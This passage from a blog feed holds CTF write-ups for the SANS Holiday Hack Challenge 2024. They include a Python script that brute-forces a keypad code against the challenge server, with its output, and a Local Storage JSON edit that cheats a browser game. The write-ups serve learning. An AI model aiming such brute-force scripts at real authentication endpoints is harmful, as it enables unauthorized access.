&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; itertools&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; requests&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;url = &lt;span class=&#34;string&#34;&gt;&amp;#x27;https://hhc24-frostykeypad.holidayhackchallenge.com/submit&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;digits = [&lt;span class=&#34;string&#34;&gt;&amp;#x27;2&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;6&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;7&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;8&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;combinations = itertools.product(digits, repeat=&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; combination &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; combinations:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  combination = &lt;span class=&#34;string&#34;&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;.join(combination)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  json = &amp;#123; &lt;span class=&#34;string&#34;&gt;&amp;quot;answer&amp;quot;&lt;/span&gt; : combination &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  headers = &amp;#123; &lt;span class=&#34;string&#34;&gt;&amp;#x27;User-Agent&amp;#x27;&lt;/span&gt;: combination &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  r = requests.post(url, headers = headers, json = json)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; (&lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; r.text):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;&amp;#125; --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(combination, r.text.rstrip()))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Running it I received two answers:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(&lt;span class=&#34;built_in&#34;&gt;env&lt;/span&gt;) thedead@maccos act1-frosty-keypad % python3 solveKeypad.py&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22786 --&amp;gt; &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;output&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;success&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;72682 --&amp;gt; &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;output&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;success&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;With &lt;code&gt;22786&lt;/code&gt; leading to the Gold trophy and &lt;code&gt;72682&lt;/code&gt; leading to the Silver one.&lt;/p&gt;
&lt;h3 id=&#34;One-Thousand-Little-Teeny-Tiny-Shredded-Pieces-of-Paper&#34;&gt;&lt;a href=&#34;#One-Thousand-Little-Teeny-Tiny-Shredded-Pieces-of-Paper&#34; class=&#34;headerlink&#34; title=&#34;One Thousand Little Teeny Tiny Shredded Pieces of Paper&#34;&gt;&lt;/a&gt;One Thousand Little Teeny Tiny Shredded Pieces of Paper&lt;/h3&gt;&lt;p&gt;Speaking with Morcel after passing the challenge, he will hand out “One Thousand Little Teeny Tiny Shredded Pieces of Paper”:&lt;br&gt;A mountain of one thousand little tiny &lt;a href=&#34;https://holidayhackchallenge.com/2024/shreds.zip&#34;&gt;shredded pieces of paper&lt;/a&gt;-each scrap whispering a secret, waiting for the right hardware hacker to piece the puzzle back together!  &lt;/p&gt;
&lt;p&gt;These will be discussed in the “Hardware Hacking 101 Part 1” solution, but I’ll leave here the image: &lt;img src=&#34;/2024/11/18/2024-04-Frosty-Keypad/04_04_FrostyKeypad_shreds.png&#34;&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act1" />
        <category term="Frosty Keypad" />
        <category term="Morcel Nougat" />
        <updated>2024-11-18T04:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/11/2024-03-Elf-Minder-9000/</id>
        <title>Elf Minder 9000</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/11/2024-03-Elf-Minder-9000/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Assist Poinsettia McMittens with playing a game of Elf Minder 9000.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Elf-Minder-9000-RTD-Read-the-Docs&#34;&gt;&lt;a href=&#34;#Elf-Minder-9000-RTD-Read-the-Docs&#34; class=&#34;headerlink&#34; title=&#34;Elf Minder 9000: RTD (Read the Docs)&#34;&gt;&lt;/a&gt;Elf Minder 9000: RTD (Read the Docs)&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Poinsettia McMittens&lt;/em&gt;&lt;br&gt;Be sure you read the “Help” section thoroughly! In doing so, you will learn how to use the tools necessary to safely guide your elf and collect all the crates.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Minder-9000-Reusable-Paths&#34;&gt;&lt;a href=&#34;#Elf-Minder-9000-Reusable-Paths&#34; class=&#34;headerlink&#34; title=&#34;Elf Minder 9000: Reusable Paths&#34;&gt;&lt;/a&gt;Elf Minder 9000: Reusable Paths&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Poinsettia McMittens&lt;/em&gt;&lt;br&gt;Some levels will require you to click and rotate paths in order for your elf to collect all the crates.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Minder-9000-TODO&#34;&gt;&lt;a href=&#34;#Elf-Minder-9000-TODO&#34; class=&#34;headerlink&#34; title=&#34;Elf Minder 9000: TODO&#34;&gt;&lt;/a&gt;Elf Minder 9000: TODO&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Poinsettia McMittens&lt;/em&gt;&lt;br&gt;When developing a video game-even a simple one-it’s surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior.&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;p&gt;To get the silver trophy, it was sufficient to complete the first 12 levels.&lt;/p&gt;
&lt;h3 id=&#34;Sandy-Start&#34;&gt;&lt;a href=&#34;#Sandy-Start&#34; class=&#34;headerlink&#34; title=&#34;Sandy Start&#34;&gt;&lt;/a&gt;Sandy Start&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_01_ElfMinder9000_SandyStart.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Waves-and-Crates&#34;&gt;&lt;a href=&#34;#Waves-and-Crates&#34; class=&#34;headerlink&#34; title=&#34;Waves and Crates&#34;&gt;&lt;/a&gt;Waves and Crates&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_02_ElfMinder9000_WavesAndCrates.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Tidal-Treasures&#34;&gt;&lt;a href=&#34;#Tidal-Treasures&#34; class=&#34;headerlink&#34; title=&#34;Tidal Treasures&#34;&gt;&lt;/a&gt;Tidal Treasures&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_03_ElfMinder9000_TidalTreasures.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Dune-Dash&#34;&gt;&lt;a href=&#34;#Dune-Dash&#34; class=&#34;headerlink&#34; title=&#34;Dune Dash&#34;&gt;&lt;/a&gt;Dune Dash&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_04_ElfMinder9000_DuneDash.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Coral-Cove&#34;&gt;&lt;a href=&#34;#Coral-Cove&#34; class=&#34;headerlink&#34; title=&#34;Coral Cove&#34;&gt;&lt;/a&gt;Coral Cove&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_05_ElfMinder9000_CoralCove.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Shell-Seekers&#34;&gt;&lt;a href=&#34;#Shell-Seekers&#34; class=&#34;headerlink&#34; title=&#34;Shell Seekers&#34;&gt;&lt;/a&gt;Shell Seekers&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_06_ElfMinder9000_ShellSeekers.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Palm-Grove-Shuffle&#34;&gt;&lt;a href=&#34;#Palm-Grove-Shuffle&#34; class=&#34;headerlink&#34; title=&#34;Palm Grove Shuffle&#34;&gt;&lt;/a&gt;Palm Grove Shuffle&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_07_ElfMinder9000_PalmGroveShuffle.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Tropical-Tangle&#34;&gt;&lt;a href=&#34;#Tropical-Tangle&#34; class=&#34;headerlink&#34; title=&#34;Tropical Tangle&#34;&gt;&lt;/a&gt;Tropical Tangle&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_08_ElfMinder9000_TropicalTangle.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Crate-Caper&#34;&gt;&lt;a href=&#34;#Crate-Caper&#34; class=&#34;headerlink&#34; title=&#34;Crate Caper&#34;&gt;&lt;/a&gt;Crate Caper&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_09_ElfMinder9000_CrateCaper.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Shoreline-Shuffle&#34;&gt;&lt;a href=&#34;#Shoreline-Shuffle&#34; class=&#34;headerlink&#34; title=&#34;Shoreline Shuffle&#34;&gt;&lt;/a&gt;Shoreline Shuffle&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_10_ElfMinder9000_ShorelineShuffle.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Beachy-Bounty&#34;&gt;&lt;a href=&#34;#Beachy-Bounty&#34; class=&#34;headerlink&#34; title=&#34;Beachy Bounty&#34;&gt;&lt;/a&gt;Beachy Bounty&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_11_ElfMinder9000_BeachyBounty.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Driftwood-Dunes&#34;&gt;&lt;a href=&#34;#Driftwood-Dunes&#34; class=&#34;headerlink&#34; title=&#34;Driftwood Dunes&#34;&gt;&lt;/a&gt;Driftwood Dunes&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_12_ElfMinder9000_DriftwoodDunes.gif&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;Gold-trophy-A-Real-Pickle&#34;&gt;&lt;a href=&#34;#Gold-trophy-A-Real-Pickle&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy (A Real Pickle)&#34;&gt;&lt;/a&gt;Gold trophy (A Real Pickle)&lt;/h2&gt;&lt;p&gt;The gold trophy required a little bit more creativity, and a lot of dead ends on the &lt;code&gt;edit&lt;/code&gt; parameter :)&lt;br&gt;Analyzing the JS code, I noticed the usage of Local Storage to save and load data about the current game. These data are saved as a JSON with two fields: &lt;code&gt;entities&lt;/code&gt; representing objects inserted by the user and &lt;code&gt;segments&lt;/code&gt; which contains the paths designed by the player.&lt;br&gt;Entities mapping can be found at the beginning of &lt;a href=&#34;https://hhc24-elfminder.holidayhackchallenge.com/guide.js&#34;&gt;guide.js&lt;/a&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;EntityTypes&lt;/span&gt; = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;START&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;END&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;CRATE&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;BLOCKER&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;HAZARD&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;STEAM&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;PORTAL&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;attr&#34;&gt;SPRING&lt;/span&gt;: &lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Observing the &lt;code&gt;segments&lt;/code&gt; array, it’s possible to notice that to cross each block 2 segments are needed. For instance, this array represents a path crossing horizontally this block:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;[[[&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;]]]&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_14_ElfMinder9000_segmentsExample.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;With this in mind and not a lot of space to add a useful object in “A Real Pickle”, I tried to leverage on the border of the block to place a tunnel modifying directly the Local Storage data and it worked:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;string&#34;&gt;&amp;quot;segments&amp;quot;&lt;/span&gt;:[[[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;11&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]],[[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]]],&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;string&#34;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;:[[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;]]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_13_ElfMinder9000_ARealPickle.gif&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;Funsies&#34;&gt;&lt;a href=&#34;#Funsies&#34; class=&#34;headerlink&#34; title=&#34;Funsies&#34;&gt;&lt;/a&gt;Funsies&lt;/h2&gt;&lt;h3 id=&#34;game-disappointHackers&#34;&gt;&lt;a href=&#34;#game-disappointHackers&#34; class=&#34;headerlink&#34; title=&#34;game.disappointHackers();&#34;&gt;&lt;/a&gt;game.disappointHackers();&lt;/h3&gt;&lt;p&gt;Yep, I noticed that function&lt;br&gt;&lt;img src=&#34;/2024/11/11/2024-03-Elf-Minder-9000/03_99_ElfMinder9000_disappointHackers.webp&#34;&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="prologue" />
        <category term="Elf Minder 9000" />
        <category term="Poinsettia McMittens" />
        <updated>2024-11-11T03:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/11/2024-02-Elf-Connect/</id>
        <title>Elf Connect</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/11/2024-02-Elf-Connect/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Help Angel Candysalt connect the dots in a game of connections.&lt;/p&gt;
